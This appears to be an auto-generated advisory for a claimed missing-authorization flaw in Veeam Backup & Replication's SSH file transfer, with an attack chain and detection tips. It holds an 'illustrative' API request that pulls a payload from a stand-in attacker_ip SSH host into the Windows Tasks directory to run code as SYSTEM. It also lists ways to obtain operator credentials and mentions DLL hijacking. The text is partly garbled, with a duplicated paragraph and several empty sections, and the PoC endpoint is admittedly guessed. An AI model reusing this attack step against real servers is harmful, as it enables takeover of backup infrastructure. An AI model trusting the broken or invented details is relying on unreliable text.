CVE-2026-87904 — Veeam Backup And Replication — CWE-862
A missing authorization check in the SSH file transfer interface of Veeam Backup & Replication allows an authenticated user with the Backup Operator role to make the backup service connect over SSH to an attacker-chosen host using a stored credential and write the retrieved file to an arbitrary path on the backup server. Because the write is performed by the backup service running as LocalSystem, this can be leveraged to execute arbitrary code as SYSTEM.
A missing authorization check in the SSH file transfer interface of Veeam Backup & Replication allows an authenticated user with the Backup Operator role to make the backup service connect over SSH to an attacker-chosen host using a stored credential and write the retrieved file to an arbitrary path on the backup server. Because the write is performed by the backup service running as LocalSystem, this can be leveraged to execute arbitrary code as SYSTEM.
🎯 What is this vulnerability?
This vulnerability is a Missing Authorization Check (CWE-862) within the SSH file transfer functionality of Veeam Backup & Replication (VBR).
The Technical Flaw:
The VBR management interface allows users with the Backup Operator role to initiate SSH-based file transfers. While the system correctly authenticates the user (PR:H in CVSS vector), it fails to perform a secondary authorization check on the destination or source parameters of the SSH transfer request.
Specifically:
1. Privilege Separation Failure: The Backup Operator role is intended to manage backup jobs, not to execute arbitrary system-level file operations. However, the SSH transfer endpoint does not verify if the requested operation is within the scope of the Backup Operator's permissions.
2. Arbitrary File Write as SYSTEM: The SSH transfer service runs as LocalSystem (the highest privilege account on Windows). When an authenticated Backup Operator triggers an SSH transfer, the service connects to an attacker-controlled SSH server, retrieves a file, and writes it to a user-specified arbitrary path on the backup server.
3. No Path Validation: There is no validation to ensure the write path is restricted to a safe directory (e.g., a specific backup repository folder). This allows the attacker to write files to critical system locations (e.g., C:\Windows\System32\, C:\ProgramData\, or scheduled task directories).
CVSS 4.0 Vector Analysis:
- AV:N/AC:L/AT:N/PR:H: Network-accessible, low complexity, no user interaction, but requires High Privileges (Backup Operator).
- VC:H/VI:H/VA:H: High impact on Confidentiality, Integrity, and Availability of the Primary system (the backup server).
- SC:H/SI:H/SA:H: High impact on the Subsequent system (if the backup server is used to restore to other systems, or if the attacker pivots).
- Score 9.4 (Critical): Despite requiring authentication, the ability to achieve Remote Code Execution (RCE) as SYSTEM on a critical infrastructure component (backup server) makes this a critical threat.
- Target Identification: The attacker identifies a Veeam Backup & Replication server (typically running on Windows Server) within the network.
- Credential Acquisition: The attacker obtains valid credentials for a user with the Backup Operator role. This could be achieved via: * Phishing or credential stuffing. * Compromising a lower-privilege account and escalating to Backup Operator (if possible). * Using stolen credentials from a previous breach.
- Version Verification: The attacker confirms the VBR version is vulnerable (likely pre-patch versions affected by this CVE).
- Source:
ssh://attacker_ip:22/malicious_file.ps1 - Destination:
C:\Windows\System32\Tasks\malicious_task.xml(or a path that triggers execution, e.g., a startup folder or a location monitored by a service).
⚡ Attack Chain
1. Discovery & Reconnaissance
2. Exploitation
The attacker uses the VBR Web Console (or API) to initiate an SSH file transfer.Step 2a: Set up Attacker SSH Server
The attacker sets up a malicious SSH server on their infrastructure that serves a malicious file (e.g., a PowerShell script, a binary, or a scheduled task XML).
Step 2b: Trigger the Vulnerable SSH Transfer
The attacker logs into the VBR Web Console as a Backup Operator. They navigate to the file transfer or backup job configuration area that supports SSH sources/destinations.
Note: The exact UI path or API endpoint is not specified in the CVE description. The following is an illustrative example of the underlying mechanism.
Illustrative PoC (Conceptual):
The attacker crafts a request to the VBR API or uses the UI to specify:
Example API Call (Illustrative - Syntax may vary by VBR version):
POST /api/v1/ssh-transfers HTTP/1.1
Host: veeam-server.local
Authorization: Bearer <valid_backup_operator_token>
Content-Type: application/json
{
"source": "ssh://attacker_ip:22/malicious_payload.ps1",
"destination": "C:\\Windows\\System32\\Tasks\\malicious_task.xml",
"credentials": "stored_ssh_credential_id"
}Note: The credentials field refers to a stored SSH key or password that the VBR service uses to connect to the SSH server. The attacker controls the SSH server, so they can serve any file.
Step 2c: File Write
The VBR service (running as LocalSystem) connects to the attacker's SSH server, downloads malicious_payload.ps1, and writes it to C:\Windows\System32\Tasks\malicious_task.xml.
3. Post-Exploitation
malicious_task.xml), it will be executed by the Task Scheduler as SYSTEM at the next scheduled run or immediately if configured.
* If the file is placed in a Startup Folder or a location monitored by a service, it may be executed upon reboot or service restart.
* Alternatively, the attacker could write a malicious DLL to a path that is loaded by a VBR service (DLL hijacking).
🌍 Real World Impact
🛡️ Remediation & Mitigation
1. Patching
2. Workarounds (If Patching is Delayed)
3. Detection (IoCs)
C:\Windows\System32\Tasks\, C:\ProgramData\, C:\Users\Public\) by the VBR service account (LocalSystem).
powershell.exe, cmd.exe) spawned by the VBR service.
4. WAF/ModSecurity Rules
SecRule REQUEST_URI "@contains /ssh-transfers" \
"id:100001,phase:1,log,auditlog,msg:'Potential SSH Transfer Attempt',severity:2"This rule only logs the attempt. It does not block it, as legitimate SSH transfers may be used. It helps in detecting unauthorized attempts.
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query